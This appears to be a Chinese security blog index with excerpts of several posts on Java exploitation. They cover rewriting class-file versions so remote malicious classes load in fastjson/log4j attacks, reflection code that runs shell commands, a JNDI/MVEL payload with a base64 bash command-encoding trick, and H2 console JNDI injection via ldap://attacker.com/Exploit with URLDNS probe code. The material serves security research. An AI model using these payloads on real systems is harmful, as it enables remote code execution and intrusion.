0x1. 背景介绍
比如fastjson
、log4j
中需要远程加载恶意class文件的时候,如果恶意Class文件的版本高于目标版本,比如托管在服务器的Class是1.8编译的,但是目标版本是1.7,会导致利用失败。出现类似这样的错误:java.lang.UnsupportedClassVersionError: Unsupported major.minor version
0x2. 解决方法
用低版本的Java,比如1.6去编译Class文件,就可以全版本通用。
还有另外一种方法,手动修改Class文件。当Java版本不同的时候,编译出来的Class文件也会不一样,其中Class文件里面会带上编译的Java版本号:
- 45 = Java 1.1
- 46 = Java 1.2
- 47 = Java 1.3
- 48 = Java 1.4
- 49 = Java 5
- 50 = Java 6
- 51 = Java 7
- 52 = Java 8
- 53 = Java 9
- 54 = Java 10
- 55 = Java 11
- 56 = Java 12
- 57 = Java 13
- 58 = Java 14
- 59 = Java 15
所以,尝试手动修改一下这个版本号试试?
- 切换到
java
的15版本,编译运行正常
- 使用
vim -b Calc.class
,然后:%!xxd
修改版本号为32
(50的16进制,也就是Java6),然后保存::%!xxd -r
- 切换java版本到1.7,运行Class正常
Read More
Runtime
Runtime中可以获取到Runtime
实例有三种方法:
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime()
private Runtime() {}
package relfectDemo;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectRuntime {
public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};
public void Runtime0() throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Field field = clazz.getDeclaredField("currentRuntime");
field.setAccessible(true);
Runtime runtime = (Runtime) field.get("Runtime");
Method method = clazz.getDeclaredMethod("exec", String[].class);
method.invoke(runtime, new Object[]{this.cmd});
}
public void Runtime1() throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Method method = clazz.getDeclaredMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null);
Method method1 = clazz.getDeclaredMethod("exec", String[].class);
method1.invoke(runtime, new Object[]{this.cmd});
}
public void Runtime2() throws Exception{
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor(null);
constructor.setAccessible(true);
Runtime runtime = (Runtime) constructor.newInstance(null);
Method method = clazz.getDeclaredMethod("exec", String[].class);
method.invoke(runtime, new Object[]{this.cmd});
}
ProcessBuilder
使用constructor
初始化对象的时候,接收的参数是一个Object数组,所以需要new Object[]
强制转换:
package relfectDemo;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
public class ReflectProcessBuilder {
public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};
public void ReflectPB0() throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor constructor = clazz.getConstructor(String[].class);
ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{this.cmd});
Method method1 = clazz.getDeclaredMethod("start", null);
method1.invoke(pb, null);
}
public void ReflectPB1() throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
Constructor constructor = clazz.getConstructor(List.class);
ProcessBuilder pb = (ProcessBuilder) constructor.newInstance(new Object[]{Arrays.asList(this.cmd)});
Method method1 = clazz.getDeclaredMethod("start", null);
method1.invoke(pb, null);
}
public static void main(String[] args) throws Exception {
ReflectProcessBuilder reflectProcessBuilder = new ReflectProcessBuilder();
reflectProcessBuilder.ReflectPB1();
}
}
ProcessImpl
package relfectDemo;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ReflectProcessImpl {
public String[] cmd = new String[]{"sh", "-c", "open /System/Applications/Calculator.app"};
public void ReflectPI0() throws Exception{
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Map<String, String> map = null;
ProcessBuilder.Redirect[] redirect = null;
String dir = ".";
method.invoke(null, this.cmd, map, dir, redirect, true);
}
public static void main(String[] args) throws Exception{
ReflectProcessImpl reflectProcess = new ReflectProcessImpl();
reflectProcess.ReflectPI0();
}
}
Read More
0x1. 类加载器: ClassLoader
Java是一个依赖于JVM(Java虚拟机)
实现的跨平台的开发语言,Java
会先通过编译器将源代码转换为Java二进制字节码,一般是保存在.class
文件中,之后通过JVM
解释器执行这段代码。字节码文件会包含很多Class信息,在JVM解释器运行的过程中,ClassLoader
就是用来加载类的,它会将Java字节码中的Class加载到内存中,而每个Class
对象内部都有一个ClassLoader
属性标识由哪个ClassLoader
加载。
常见的ClassLoader
一切的Java
类都必须经过JVM加载之后才可以运行,最常见的ClassLoader
: BootstrapClassLoader
、ExtensionClassLoader
、AppClassLoader
、URLClassLoader
、ContextClassLoader
BootstrapClassLoader
JVM内置的默认classLoader
,负责加载JVM运行时的核心类,位于JAVA_HOME/lib/rt.jar/
文件夹中,由C代码实现,Bootstrap ClassLoader
类加载器所加载的类的ClassLoader时候都会返回null
ExtClassLoader
扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar
中,库名通常以 javax 开头
AppClassLoader
应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载ClASSPATH
环境变量或者java.class.path
属性里定义的路径中的jar包和目录,我们自己编写和使用的第三方Jar包通常都是由它来加载
Read More
测试背景
JDNI利用mvel绕过高版本java限制的时候,使用runtime exec编码变形之后执行命令失败。只能弹个计算器。
测试结果
浅蓝师傅在探索高版本JDK下JNDI 漏洞的利用方法中给出的执行方式:
private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;
}
先说结论:把执行命令的时候push
指令去掉,可以成功执行命令。
原因探索
先把测试的命令做一次编码:open /System/Applications/Calculator.app/Contents/MacOS/Calculator
经过编码之后: bash -c {echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9y}|{base64,-d}|{bash,-i}
存在push的时候
经过一路的跳转,进入到_exec()
函数,调用堆栈如下:
Read More
0x1. 切入点
在日常测试的时候,使用ffuf发现一个/console
的接口,打开之后发现是H2 Database页面:
如果Spring Boot项目中包含h2database并且在配置文件中启用h2-console,则存在JNDI注入漏洞.
设置Driver Class
为javax.naming.InitialContext
,JDBC URL
为ldap://attacker.com/Exploit
:
根据/env
泄漏的信息,得知Java版本是1.8.0_312,高版本JDK中由于默认codebase为true从而导致客户端默认不会请求远程Server上的恶意 Class, 因此不可以直接使用LDAP加载远程恶意代码。
RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true
LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true
0x2. 绕过和利用
利用本地Class作为Reference Factory绕过
利用URLDNS链可以探测Java黑盒应用里面某个类是否存在, 在珂字辈和c0ny1师傅的两篇文章讲的很详细:
URLDNS的测试代码,生成一个序列化的数据包1.ser
:
package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;
public class Urldns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://333.f9575af1.dns.1433.eu.org");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1);
hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator"));
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(hashMap);
}
public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}
Read More